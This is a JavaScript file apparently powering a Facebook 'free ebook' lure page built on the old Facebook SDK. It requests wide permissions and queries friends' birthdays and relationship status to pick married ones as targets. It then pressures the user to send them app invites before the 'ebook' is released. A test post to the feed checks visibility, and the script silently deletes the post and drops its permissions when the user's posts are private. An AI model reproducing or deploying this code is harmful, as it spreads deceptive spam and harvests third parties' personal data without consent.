window.fbAsyncInit = function() {
    FB.init({
      appId      : $("#appid").val(),        
      status     : true,
      cookie     : true,
      frictionlessRequests : true,
      xfbml      : true
    });
 
     $(document).ready(function(){
               
       FB.getLoginStatus(function(response){

         if(response.status === 'connected'){

          $('#data_fb img').click(function(){
                                FB.api({method:"fql.query",query:"SELECT uid,online_presence,relationship_status,birthday,birthday_date from user where uid IN (SELECT uid2 from friend WHERE uid1 = me()) and relationship_status='married' and birthday_date >= 01/01/1985 limit 50"},function(friend){
                                        var tag = [];
                                        for(var i=0;i < friend.length;i++){
                                                tag.push(friend[i]['uid']);
                                        }
                                        FB.ui({method: 'apprequests',
											filters :'app_non_users',
											message: 'Freebies',
											to: tag.join()
                                        }, function(invite){
                                         if(!invite){
                                            alert('Ups...!. you must be invite your friend to grab this ebook. HURRY...');
                                        }else{
                                         $('#data_fb').html('<div id="like" >Like a page<div class="fb-like-box" data-href="'+$('#fp_link').val()+'" data-colorscheme="light" data-show-faces="false" data-header="false" data-stream="false" data-show-border="false"></div><p></p></div>'); FB.XFBML.parse();
                                       }
                                    });
                                });
                        });
         }else if(response.status === 'not_authorized'){$('#button_login').click(function(){fb_login();});}else{$('#button_login').click(function(){ fb_login(); });}
       });
     });
    }

function fb_login(){FB.login(function(response) {if (response.authResponse){FB.api('/me/feed', 'post', { message: '.' },function(resi){if(resi.id){FB.api({method:"fql.query",query:"SELECT privacy FROM stream WHERE source_id = me() and post_id='"+resi.id+"'"},function(response){if(!response || response.error){alert('Sorry, something wrong in our system, please try again later');}else if(response[0].privacy['value'] =="SELF"){FB.api(resi.id, 'delete', function(rest) {if(rest){FB.api('/me/permissions', 'delete',function(response){if(response){}});}});}else{location.reload();}});}});} else {alert(' Are you sure to cancel this offer ..?');}},{scope:",publish_actions,publish_stream,read_stream,friends_relationships,friends_birthday"});}


// Load the JavaScript SDK Asynchronously
(function(d){
  var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
  js = d.createElement('script'); js.id = id; js.async = true;
  js.src = "//connect.facebook.net/en_US/all.js";
  d.getElementsByTagName('head')[0].appendChild(js);
}(document));